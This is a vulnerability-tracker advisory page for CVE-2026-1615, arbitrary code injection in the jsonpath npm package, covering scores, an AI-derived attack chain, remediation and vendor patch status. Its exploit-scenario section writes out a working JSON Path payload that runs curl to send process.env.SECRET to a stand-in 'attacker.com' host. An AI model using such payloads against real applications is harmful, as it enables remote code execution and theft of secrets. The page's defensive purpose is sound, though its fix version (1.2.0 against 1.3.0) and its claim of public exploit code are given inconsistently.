Skip to main content

jsonpath CVE-2026-1615

HIGH
Code Injection (CWE-94)
2026-02-09 report@snyk.io GHSA-87r5-mp6g-5w5j
8.2
CVSS 4.0 · Vendor: snyk
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify API endpoint accepting JSON Path queries
  2. Delivery
    Craft malicious expression with embedded JavaScript
  3. Exploit
    Submit payload to vulnerable jsonpath method
  4. Execution
    static-eval module executes injected code
  5. Persist
    Arbitrary code runs in application context
  6. Impact
    Exfiltrate data or establish persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target application to accept user-supplied or externally-controlled data as JSON Path query expressions and pass that input to jsonpath library methods (.query, .nodes, .paths, .value, .parent, or .apply) without sanitization. This pattern typically occurs in API endpoints offering dynamic data filtering, search functionality with flexible query syntax, or developer tools exposing JSON Path evaluation interfaces. The vulnerability does NOT affect applications using jsonpath exclusively with hardcoded or application-controlled query strings. Attack vector is network-based (AV:N) with low complexity (AC:L), requiring no authentication (PR:N) or user interaction (UI:N), but the AT:P (Attack Requirements: Present) modifier indicates the specific architectural condition of exposing query evaluation to untrusted input must exist. Limiting factors include: applications must use jsonpath versions <1.2.0, the execution context determines impact type (Node.js for RCE, browser for XSS), and defensive coding practices like input validation or predefined query templates prevent exploitation even in vulnerable versions.

Impact

Real-world risk assessment reveals moderate-to-high priority despite conflicting signals. CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms remote unauthenticated exploitation with low complexity, yielding an 8.2 base score with high confidentiality, integrity, and availability impact. However, the AT:P (Attack Requirements: Present) modifier indicates specific prerequisites must be met. EPSS at 0.09% (26th percentile) suggests limited widespread exploitation, likely because the vulnerability requires applications to pass untrusted user input directly to jsonpath query methods - a pattern that exists but is not universal. Publicly available exploit code (E:P in CVSS vector) lowers the skill barrier for exploitation. The extensive vendor patching activity (Red Hat, SUSE) across multiple product lines indicates the library's integration into enterprise software stacks. Critical factors elevating risk: automatable exploitation once conditions are met, no user interaction required, and dual RCE/XSS impact depending on context. Mitigating factors: requires application to expose jsonpath query functionality to untrusted input, and EPSS indicates attackers are not yet broadly targeting this pattern. Priority should be HIGH for any application passing user-controlled data to jsonpath methods, MEDIUM for applications using jsonpath only with trusted/internal data sources.

Exploit ScenarioDerived

An attacker identifies a Node.js web application exposing an API endpoint that accepts a JSON Path query parameter to filter returned data (e.g., /api/data?filter=$.users[?(@.active)]). The attacker crafts a malicious JSON Path expression containing executable JavaScript, such as $.users[?((function(){require('child_process').exec('curl attacker.com/exfil?data='+process.env.SECRET)})())]. When the application passes this untrusted input to jsonpath's .query() method, the static-eval module evaluates the embedded JavaScript code, executing the attacker's payload with the privileges of the Node.js process. The attacker achieves remote code execution, exfiltrating environment variables or establishing persistence. Publicly available exploit code exists, lowering the barrier for less-skilled attackers to weaponize this vulnerability.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 29, 2026

Remote code execution in the jsonpath npm package (versions <1.2.0) allows unauthenticated attackers to execute arbitrary JavaScript code by injecting malicious JSON Path expressions. The vulnerability stems from unsafe evaluation through the static-eval module, which processes user-supplied JSON Path input without proper sanitization. All query methods (.query, .nodes, .paths, .value, .parent, .apply) are affected. While EPSS scoring indicates relatively low widespread exploitation probability (0.09%, 26th percentile), multiple vendor patches from Red Hat and SUSE confirm the severity, and publicly available exploit code exists (CVSS E:P). This represents critical risk for Node.js applications processing untrusted JSON Path expressions, with potential for both server-side RCE and browser-based XSS depending on execution context.

Earlier versions of this analysis (1)
v1 Mar 12, 2026 - 21:54 CVSS 9.2

Code injection in jsonpath library via unsafe eval in JSONPath expressions.

RemediationAI

Upgrade to jsonpath version 1.2.0 or later, which addresses the arbitrary code injection vulnerability through commits 9631412641b7095f86840a7a45b5b3afc68b0fcb and b61111f07ac1a8d0f3133b5fc51438ecb76a6c39. For systems using Red Hat products, apply RHSA-2026:6174, 6308, 6309, 6404, or 6802 as appropriate for your platform. SUSE users should apply SUSE-SU-2026:1008, 1013, 1035, or 1148. If immediate patching is not feasible, implement strict input validation: whitelist only alphanumeric characters, dots, and brackets in JSON Path expressions, and reject any input containing parentheses, JavaScript operators, or function calls - this prevents expression evaluation but may break legitimate complex query functionality. Alternatively, isolate jsonpath execution in a sandboxed environment with restricted permissions, though this adds operational complexity and potential performance overhead. For browser contexts, implement Content Security Policy with 'unsafe-eval' prohibited to limit XSS impact, though this does not prevent server-side RCE and may conflict with other application requirements. Most effective mitigation: never pass user-controlled input directly to jsonpath query methods; instead, expose only predefined, application-controlled query templates.

Affected Packages

npm jsonpath fix: 1.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The jsonpath library is a Node.js implementation of JSONPath query syntax for traversing and extracting data from JSON structures. The vulnerability resides in the library's dependency on the static-eval module to evaluate user-supplied JSON Path expressions. CWE-94 (Improper Control of Generation of Code) occurs because static-eval was not designed as a security boundary for untrusted input. When processing JSON Path queries containing executable JavaScript constructs, the evaluation engine interprets and executes the code rather than treating it as data. The vulnerable code path is in lib/handlers.js (line 243 per references), where expression evaluation occurs without input validation or sandboxing. This architectural flaw affects all methods that traverse JSON objects using evaluated expressions, creating multiple attack surfaces across the API.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (snyk) PRIMARY 8.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
SUSE 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 9.8 HIGH

Primary rating from Vendor (snyk).

CVSS VectorVendor: snyk

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

5
Analysis Updated
Apr 29, 2026 - 01:39 vuln.today
v2 - CVSS changed
Severity Changed
Apr 29, 2026 - 01:11 NVD
CRITICAL HIGH
CVSS changed
Apr 29, 2026 - 01:11 NVD
9.2 (CRITICAL) 8.2 (HIGH)
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Feb 09, 2026 - 05:16 nvd
CRITICAL 9.2

DescriptionCVE.org

Versions of the package jsonpath before 1.2.0 are vulnerable to Arbitrary Code Injection via unsafe evaluation of user-supplied JSON Path expressions. The library relies on the static-eval module to process JSON Path input, which is not designed to handle untrusted data safely. An attacker can exploit this vulnerability by supplying a malicious JSON Path expression that, when evaluated, executes arbitrary JavaScript code, leading to Remote Code Execution in Node.js environments or Cross-site Scripting (XSS) in browser contexts. This affects all methods that evaluate JSON Paths against objects, including .query, .nodes, .paths, .value, .parent, and .apply.

Executive ViewAI

Why It Matters

The jsonpath npm package versions below 1.2.0 contains a remote code execution vulnerability affecting Node.js applications that process untrusted JSON Path expressions, enabling unauthenticated attackers to execute arbitrary JavaScript code. This impacts any organization using this package in production environments, particularly those handling user-supplied data or third-party JSON inputs, with immediate patching required to prevent application compromise.

Business Impact: High
Compensating Controls

Vendor-released patch: jsonpath npm package version 1.2.0 or later. If immediate patching is not possible, implement strict input validation and sanitization on all JSON Path expressions before processing; restrict jsonpath usage to trusted data sources only; deploy Web Application Firewall (WAF) rules to detect JSON Path injection patterns; run Node.js applications with minimal privilege and in isolated containers to limit RCE blast radius.

Threat Intelligence Overview

EPSS Score
0.1%
Top 74% exploitable
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
Container suse/manager/4.3/proxy-httpd:4.3.17.9.76.1 Affected
Container suse/manager/5.0/x86_64/server:latest Affected
Image SLES15-SP5-SAP-Azure-LI-BYOS Image SLES15-SP5-SAP-Azure-LI-BYOS-Production Image SLES15-SP5-SAP-Azure-VLI-BYOS Image SLES15-SP5-SAP-Azure-VLI-BYOS-Production Image SLES15-SP7-SAP-Azure-LI-BYOS-Production Image SLES15-SP7-SAP-Azure-VLI-BYOS-Production Affected
SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Basesystem 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy